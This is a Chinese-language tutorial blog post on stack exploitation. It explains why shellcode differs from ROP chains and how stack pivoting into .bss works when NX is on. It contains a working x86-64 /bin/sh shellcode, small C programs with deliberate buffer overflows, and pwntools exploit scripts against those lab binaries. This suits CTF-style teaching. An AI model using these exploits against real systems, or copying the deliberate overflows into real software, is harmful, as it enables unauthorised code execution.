仅凭一段机器码 为什么shellcode可以篡改程序执行流 使其达到我们想要的结果
并且shellcode不同于rop链 并不能只是简单的覆盖ret addr为shellcode就可以达到效果 二者不同在哪里?
为什么bss段如果没有可执行权限的话就不能执行shellcode 但是同样的情况下就可以通过在bss段上写入rop链 随后栈迁移来控制程序执行流? 这些疑问一一来解决一下
首先 什么是shellcode?
wiki上是这样定义的:
1 In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
其是一段机器码 用来启动一个命令界面 攻击者可以用其来控制漏洞机器
通常的shellcode长什么样?
1 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
上面是一段23字节的64位shellcode 可以用来执行system(/bin/sh)
编写下面的程序 并且把NX保护关闭
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> char magic[200 ];int main () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); char a[20 ]; puts ("this is a test" ); puts ("input shellcode to bss" ); read(0 ,magic,0x200 ); puts ("modify the retaddr" ); read(0 ,a,0x200 ); }
向bss段中写入shellcode 并且修改retaddr为magic数组的首地址
但是如果想要直接覆盖ret addr为shellcode那么就无法达到同样的攻击效果
这是因为覆盖ret addr 实际上利用栈帧结束后 自带的两行指令 leave 和ret(外平栈)
来使esp和ebp指针指向父函数的栈帧 继续执行上一步操作 也就是说 ret add需要是一个地址 指向一连串的指令或者是shellcode这样的字节流数据
当然了 也正是出于栈帧的这种回归到父函数的操作 延申出了一种栈溢出手法叫做 栈迁移
下文不做基础解释 而是进行一个额外的知识扩展
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io = process("./a.out" ) context.arch = "amd64" shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" io.recvuntil("input shellcode to bss" ) io.sendline(shellcode) bss_addr = 0x601060 io.recvuntil("modify the retaddr" ) payload = cyclic(0x28 )+p64(bss_addr) io.sendline(payload) io.interactive()
如果打开NX保护 也就是使bss段不可执行 那么shellcode就无法执行
但是如果我们将bss段中的数据改为一串rop链 通过栈迁移的办法 看能不能实现系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> char magic[200 ];int main () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); char a[20 ]; system("echo this is a test" ); puts ("/bin/sh gift!" ); puts ("input shellcode to bss" ); read(0 ,magic,0x200 ); puts ("modify the retaddr" ); read(0 ,a,0x200 ); }
给了system函数和字符串/bin/sh 很简单的rop64 不过我们不用覆盖ret addr来做 我们在bss段中构造rop链 然后栈迁移 注意此时NX保护打开了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *io = process("./a.out" ) context.arch = "amd64" context.log_level = "debug" io.recvuntil("input shellcode to bss" ) rdi_addr = 0x400753 binsh_addr = 0x400788 bss_addr = 0x601080 system_addr = 0x400520 leave_addr = 0x4006eb ret_addr = 0x4004fe gadget1_addr = 0x400730 payload = p64(ret_addr)*100 +p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.send(payload) io.recvuntil("modify the retaddr" ) payload = cyclic(0x20 )+p64(bss_addr-0x8 )+p64(leave_addr) io.send(payload) io.interactive()
唯一不好理解的地方在于为什么要多出来一百个字长的ret指令 首先 外平栈中ret指令相当于pop eip
弹出了一个栈空间 所以相当于往低地址的方向抬高栈顶
其次 我们需要明白为什么需要抬高栈顶 如果我们不抬的话会出现什么问题?
下面是没有p64(ret_addr)*100的情况 我们用pwndgb来查看一下此时的栈
我们本来是想要将栈迁移至0x601080 但是此时指向了0x600f00
1 2 3 4 5 6 7 8 9 10 LOAD:0000000000600F00 Elf64_Dyn <2, 60h> ; DT_PLTRELSZ LOAD:0000000000600F10 Elf64_Dyn <14h, 7> ; DT_PLTREL LOAD:0000000000600F20 Elf64_Dyn <17h, 400488h> ; DT_JMPREL LOAD:0000000000600F30 Elf64_Dyn <7, 400428h> ; DT_RELA LOAD:0000000000600F40 Elf64_Dyn <8, 60h> ; DT_RELASZ LOAD:0000000000600F50 Elf64_Dyn <9, 18h> ; DT_RELAENT LOAD:0000000000600F60 Elf64_Dyn <6FFFFFFEh, 400408h> ; DT_VERNEED LOAD:0000000000600F70 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM LOAD:0000000000600F80 Elf64_Dyn <6FFFFFF0h, 4003F6h> ; DT_VERSYM LOAD:0000000000600F90 Elf64_Dyn <0> ; DT_NULL
ida一般以load段中的内容来解析二进制文件 但是为什么esp会指向这里呢?
此时的栈帧空间迁移到了bss段 但是栈是由高地址往低地址处写 而bss段上方不远处是got表 很明显不能这样篡改got表
因为程序无法完成正常的栈迁移 如果你尝试过往test段迁移 就不会出现这种情况
所以这里利用ret指令抬高栈顶 跨过got表 就可以成功栈迁移
同理 如果我们写入的bss段处地址离got表远一点 也可以达到同样的效果 如果你有做过一些栈迁移的题目 你会发现网上的exp迁移至的地址往往会偏差几百个字节 也是同理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *io = process("./a.out" ) context.arch = "amd64" context.log_level = "debug" io.recvuntil("input shellcode to bss" ) rdi_addr = 0x400753 binsh_addr = 0x400788 bss_addr = 0x601080 +0x300 system_addr = 0x400520 leave_addr = 0x4006eb ret_addr = 0x4004fe gadget1_addr = 0x400730 payload = cyclic(0x300 )+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.send(payload) io.recvuntil("modify the retaddr" ) payload = cyclic(0x20 )+p64(bss_addr-0x8 )+p64(leave_addr) io.send(payload) io.interactive()
这里说个题外话 这种因为bss段和got表近导致的情况还是很常见的 在出unlink题目的时候 也会遇到这种情况 不能做到任意写 但是可以通过出题的时候多声明一个全局数组 使其位于任意写的数组低地址处 详见以往的博客
至此 我们可以浅显的得出一个结论:
1.当程序没有开启NX保护的时候 并且我们得知栈地址或者bss段地址(人话:写入shellcode的地址) 可以通过ret2shellcode来解决题目
2.当程序没有打开NX保护 并且栈溢出的长度仅仅只有覆盖ret addr的长度 而且我们拥有往bss段(或者是rw-p权限的空间 即可读可写)
我们可以通过往该空间写入rop链 随后劫持esp和ebp栈迁移
要素在于理解说shellcode不同于rop链 其是一串字节流 可以达到特殊命令的字节流
同时 在日后的题目中 要小心因为bss段和got表过于近而导致的栈空间出错 并能意识到这个问题